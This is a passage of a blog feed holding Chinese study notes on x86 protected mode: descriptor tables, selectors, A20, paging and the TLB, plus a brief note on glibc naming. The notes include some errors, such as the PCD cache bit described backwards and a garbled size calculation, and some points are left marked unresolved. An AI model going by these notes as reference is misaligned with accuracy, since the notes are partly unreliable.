<content type="html"><![CDATA[<h1 id="全局描述符表"><a href="#全局描述符表" class="headerlink" title="全局描述符表"></a>全局描述符表</h1><p>全局描述符表(Global Descriptor Table,GDT)是 x86 架构中的一种数据结构,用于存储多个段描述符。每个段描述符用于描述一个内存段的属性和访问权限。GDT 在操作系统中扮演重要角色,用于实现内存分段、内存保护以及权限管理等功能。</p><h2 id="段描述符"><a href="#段描述符" class="headerlink" title="段描述符"></a>段描述符</h2><p>段描述符用以存储段的相应属性</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/image-20230720132111947.png"></p><p>段基址为32位,段界限为20位</p><p>段界限表示段拓展最值,可往下或往上拓展(如栈为向低地址生长)</p><p>段界限为单位量,单位为1字节或4kb,从0开始</p><p>单位由G位指定,G=0 1byte G=1 4kb bytes</p><p>实际边界值计算公式为</p><p>(段界限+1)*(单位:1byte | 4kb)-1</p><h3 id="DPL-Descriptor-Privilege-Level-描述符特权级"><a href="#DPL-Descriptor-Privilege-Level-描述符特权级" class="headerlink" title="DPL(Descriptor Privilege Level) 描述符特权级"></a>DPL(Descriptor Privilege Level) 描述符特权级</h3><p>占两位,表示4种特权级。0~3,数字越小,权限越大</p><p>P,标识段是否在内存中</p><p>AVL 可用的,无专门用途,供软件开发者使用</p><p>L 1表示为64位代码段 32位代码段</p><p>D/B 用以指示有效地址及操作数大小</p><p>代码段是D D=0 有效地址和操作数为16位 1为32位</p><p>栈段 B 指定操作数大小 B=0 sp B=1 esp</p><p>D/B字段只是为了兼容286的保护模式为16位的情况</p><h3 id="type-类型"><a href="#type-类型" class="headerlink" title="type 类型"></a>type 类型</h3><p>S =0 系统段 S=1 数据段</p><p>系统段是硬件使用的,数据段是软件使用的(包括操作系统)</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/image-20230720172629675.png"></p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/image-20230720172638098.png"></p><p>A由cpu设置,该段被访问后被置为1</p><p>C表示是否为一致性代码段</p><p>一致性代码段如果被调用,则跳跃前的特权级一定要高于此代码段的特权级,并在跳转后将权限降为该段的特权级,用以权限控制</p><p>R表示是否可读</p><p>X表示是否可执行</p><p>E标识段的拓展方向,0向高地址 1向低地址</p><p>W表示是否可写</p><h2 id="全局描述符表-GDT-,局部描述符表-LDT-及选择子"><a href="#全局描述符表-GDT-,局部描述符表-LDT-及选择子" class="headerlink" title="全局描述符表 GDT ,局部描述符表 LDT 及选择子"></a>全局描述符表 GDT ,局部描述符表 LDT 及选择子</h2><p>GDT相当于段描述符的数组</p><p>GDTR寄存器用于存储GDT的内存地址及大小,48位</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/image-20230720212953818-16898597957531.png" alt="image-20230720212953818"></p><p>lgdt为GDTR初始化 lgdt 48字节数据</p><h3 id="选择子"><a href="#选择子" class="headerlink" title="选择子"></a>选择子</h3><p>在实模式下 段寄存器 CS,DS,ES等存储的是段基址</p><p>在保护模式中,段基址由段描述符存储</p><p>此时,段寄存器中存储的是选择子(selector),基本作用是索引</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/image-20230721203623696-16899429856751.png" alt="image-20230721203623696"></p><p>选择子为16位,0~1存储RPL 请求特权级</p><p>TI 指示选择子是LDT or GDT 的索引</p><p>0 GDT 1 LDT</p><p>剩余的13位是索引值 最多索引2^13=8192</p><p>为了避免选择子的未初始化导致错误引用,GDT的第0个描述符不可用</p><h2 id="A20-地址线"><a href="#A20-地址线" class="headerlink" title="A20 地址线"></a>A20 地址线</h2><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/image-20230721212416796.png" alt="image-20230721212416796"></p><p>为了兼容实模式,80286异或地址总线虽然增多,地址回绕无法直接由硬件完成</p><p>为此,控制第21根地址线(A20)的有效性,存在一些输出线称为A20Gate</p><p>如果A20Gate被打开,则使用多的线,否则采用地址回绕</p><p>打开A20Gate 将端口0x92第一位置置1即可</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs assembly">in al,0x92<br>or al,0x2<br>out 0x92,al<br></code></pre></td></tr></table></figure><h1 id="保护模式的开关"><a href="#保护模式的开关" class="headerlink" title="保护模式的开关"></a>保护模式的开关</h1><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/image-20230721215932051-16899479736852.png" alt="image-20230721215932051"></p><p>CR0的PE位是保护模式的开关 0 实模式 1 保护模式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs assembly">mov eax,cr0<br>or eax,0x00000001<br>mov cr0,eax<br></code></pre></td></tr></table></figure><h1 id="内存段的保护"><a href="#内存段的保护" class="headerlink" title="内存段的保护"></a>内存段的保护</h1><p>内存段的保护由段描述符描述,CPU根据段描述符判断操作的合法性</p><p>引用内存段时,往段寄存器加载选择子,为避免非法引用,需要进行一些检查</p><p>首先根据选择子验证段描述符是否越界</p><p>选择子索引值必须小于等于描述符表中描述符的个数</p>]]></content>
<categories>
<category>OS</category>
</categories>
<tags>
<tag>操作系统真相还原</tag>
</tags>
</entry>
<entry>
<title>保护模式进阶</title>
<link href="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/"/>
<url>/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/</url>
<content type="html"><![CDATA[<h1 id="获取物理内存"><a href="#获取物理内存" class="headerlink" title="获取物理内存"></a>获取物理内存</h1><p>有多种方法,但是本质都是调用BIOS中端0x15</p><ol><li>EAX=0xe820 遍历主机全部内存</li><li>AX=0xe801 分别检测低15MB和16MB~4GB内存</li><li>AH=0x88 最多检测64MB,实际内存超过也返回64MB</li></ol><p>BIOS中断只能在实模式下使用,所以内存检测必须在进去保护模式之前调用</p><h3 id="0xE820"><a href="#0xE820" class="headerlink" title="0xE820"></a>0xE820</h3><p>返回的内存信息结构(ARDS)如下</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20230928112344494.png" alt="image-20230928112344494"></p><p>字段都为4字节,结构大小为20字节</p><p>Type字段如下</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20230928112816214.png" alt="image-20230928112816214"></p><p>由于在32位环境,我们只用低32位属性</p><p>BaseAddrLow+LengthLow 是内存地址上限</p><p>调用方法如下</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231016205958699.png" alt="image-20231016205958699"></p><p>实际我们只是是控制ES:DI作为地址指针,其他套用即可,调用完后还必须判断CF位以防止调用出错</p><h3 id="0xE801"><a href="#0xE801" class="headerlink" title="0xE801"></a>0xE801</h3><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231016211642621.png" alt="image-20231016211642621"></p><p>注意单位不一致</p><p>此功能检查0<del>15MB 16MB</del>4GB 缺失的1MB为历史遗留问题,作为缓冲区使用</p><h3 id="0x88"><a href="#0x88" class="headerlink" title="0x88"></a>0x88</h3><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231016212231095.png" alt="image-20231016212231095"></p><p>实际内存为返回值+1MB</p><h1 id="内存分页机制"><a href="#内存分页机制" class="headerlink" title="内存分页机制"></a>内存分页机制</h1><p>内存分页用以提高内存的使用效率,也使得低内存也可以运行大程序,其本质为切除物理地址与线性 地址的一一对应关系</p><p>CPU使用页表将线性地址与物理地址对应</p><p>先分段再分页</p><p>分段机制首先得到线性地址(虚拟地址),然后送往页部件得到物理地址,最后送往CPU</p><h2 id="一级页表"><a href="#一级页表" class="headerlink" title="一级页表"></a>一级页表</h2><p>段拆分成大小相同的页,然后再与物理地址的页进行对应 一页=4KB</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231024192545055.png" alt="image-20231024192545055"></p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231024194014901.png" alt="image-20231024194014901"></p><p>页表项为4字节,存储物理页的地址</p><p>32位虚拟地址被划分成 20 12 前20用以索引页表项(物理页),后12位用以索引物理页内地址</p><p>物理页数=4GB/4KB=1M=2^20个 所有页表大小为1M个*4B=4MB</p><p>分页机制打开前需要将页表物理地址加载到cr3寄存器</p><p>分页机制中用到的页表及页表项地址为物理地址</p><p>以上算法由物理硬件页部件完成</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231024200014849.png" alt="image-20231024200014849"></p><h2 id="二级页表"><a href="#二级页表" class="headerlink" title="二级页表"></a>二级页表</h2><p>需要二级页表的理由:</p><ol><li>一级页表最大为4MB</li><li>一级页表项必须提前建立,操作系统需要占有4GB中的高1GB</li><li>每个进程都有自己的页表,如果进程数量多,页表占用空间会过多</li></ol><p>总的来说,一级页表无法动态创建,导致占用空间过多</p><p>4GB的虚拟地址可以划分为1M个页,所以最多需要1M个页表项</p><p>一级页表是将这些页放进一张页表中,这张页表的最大空间是4字节x1M=4MB</p><p>二级页表将这至多1M个页表项拆分,拆分成1K个新的页表,原页表中存储着新页表的地址</p><p>因此,原页表中的项为1M/1k=1k个,原页表大小变成4KB,新的页表也变成4KB</p><p>原页表被称为页目录表,里面的项称为页目录项</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231025194431070.png" alt="image-20231025194431070"></p><p>地址转换和一级页表类似,只是高20位被拆分成页目录项索引和页表项</p><p>高10位页目录索引,中10位页表项索引</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231025202007908.png" alt="image-20231025202007908"></p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231025204503355.png" alt="image-20231025204503355"></p><p>虽然页目录项和页表项都为4字节,但并不全是物理地址,只有低20位作为物理地址</p><p>物理页地址被划分成页后,页起始地址是对4K对齐的,也就是低12位必定是0</p><p>页目录项与页表项都指向的是真实的物理地址,也就是物理页的首地址,因此只需要20位即可定位物理页</p><p>其余位属性如下:</p><p>P 存在位,1表示该页存在物理内存中 0表示不存在</p><p>RW 读写位 1 可读可写 0 可读不可写</p><p>US 权限位 1 处于User级,任意特权级的程序均可访问该页 0 Supervisor 特权3级的程序不允许访问</p><p>PWT 页级通写位 1表示该页是高速缓存</p><p>PCD 页级高速缓存禁止位 1表示该页启用高速缓存 0 禁止缓存</p><p>A 访问位 CPU使其此位来优化内存结构,判断该页的使用频率</p><p>D 脏页位 当CPU对其写操作时,置D为1 仅对页表项有效</p><p>PAT 页属性位,在页级粒度上设置内存属性,比较复杂 ???</p><p>G 全局位</p><p>AVL 可用位 ???</p><p>要启用分页机制</p><ol><li>准备页目录表及页表</li><li>将页表地址写入控制寄存器cr3</li><li>寄存器cr0 PG位 置1</li></ol><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231025233439264.png" alt="image-20231025233439264"></p><p>cr3用以存储页目录表地址,同样地址只需20位即可,余下除了PCD PWT均未使用</p><p>可以直接使用mov指令在控制寄存器和通用寄存器使用</p><h2 id="页表的划分"><a href="#页表的划分" class="headerlink" title="页表的划分"></a>页表的划分</h2><p>根据页表的学习,可以知道分页机制将物理内存进行了详细管理,但是没有区分用户进程与操</p><p>作系统的区别,用户进程和操作系统都需要占据物理内存</p><p>为实现共享,将虚拟地址划分成两个部分,例如Linux 0~3GB是用户自己的,高1GB是操作系统的</p><p>问题:为什么要如此划分,根据分页机制,每个进程也应该拥有完整的2级分页结构,但肯定不是满的,页目录表和页表要不要被自己所指向,页目录表和页表的管理</p><h2 id="启用分页机制"><a href="#启用分页机制" class="headerlink" title="启用分页机制"></a>启用分页机制</h2><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231025235614976.png" alt="image-20231025235614976"></p><p>内核放在低1MB内存,物理地址是0~0xfffff 0x100000=2^10=1000*100</p><p>划分成0x100个物理页,应该有0x100个页表项 所以只需要一个二级页表即可</p><p>页目录表和页表放在0x100000开始</p><p>虚拟地址对半划分,高2GB是内核空间</p><p>所以高2GB有效地址是0x80000000开始,</p><p>内核地址的起始页目录项索引是0x800</p><h2 id="快表TLB-Translation-Lookaside-Buff"><a href="#快表TLB-Translation-Lookaside-Buff" class="headerlink" title="快表TLB(Translation Lookaside Buff)"></a>快表TLB(Translation Lookaside Buff)</h2><p>为避免每次访问地址都需要对虚拟地址转换,影响程序速度,处理器实验告诉缓存,存放虚拟地址与物理地址映射</p><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231127140755721.png" alt="image-20231127140755721"></p><p>20位的对应实际就是一个页的地址对应</p><p>只有P位为1的页表项才能在TLB中</p><h1 id="加载内核"><a href="#加载内核" class="headerlink" title="加载内核"></a>加载内核</h1><p><img src="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E8%BF%9B%E9%98%B6/image-20231127150406330.png" alt="image-20231127150406330"></p>]]></content>
<categories>
<category>OS</category>
</categories>
<tags>
<tag>操作系统真相还原</tag>
</tags>
</entry>
<entry>
<title>glibc命名</title>
<link href="/2024/05/03/glibc/glibc/"/>
<url>/2024/05/03/glibc/glibc/</url>
<content type="html"><![CDATA[<h1 id="glibc命名"><a href="#glibc命名" class="headerlink" title="glibc命名"></a>glibc命名</h1><p>对于 Ubuntu 中的 GLIBC 版本号,格式是 <code>X.YY-ZubuntuN</code>,其中:</p><ul><li><code>X.YY</code> 是 GLIBC 的版本号。</li><li><code>Z</code> 是 Ubuntu 特定的修订号。</li><li><code>N</code> 是 Ubuntu 包中的修订号。</li></ul><h1 id="符号链接-软链接"><a href="#符号链接-软链接" class="headerlink" title="符号链接(软链接)"></a>符号链接(软链接)</h1><p>软链接(Symbolic Link)是一种特殊类型的文件,它包含了另一个文件或目录的路径信息。软链接允许你创建一个文件或目录的别名,这个别名可以跨越文件系统,并且可以链接到任何类型的文件或目录。软链接本身不包含实际的文件数据,而只是包含了另一个文件或目录的路径。</p><p>类似于windows的快捷方式</p><p>glibc all in one下载的glibc 中 libc.so.6只是libc-xxx.so的符号链接</p><p><img src="/2024/05/03/glibc/glibc/image-20240423233752948.png" alt="image-20240423233752948"></p>]]></content>
<categories>
<category>Pwn</category>
</categories>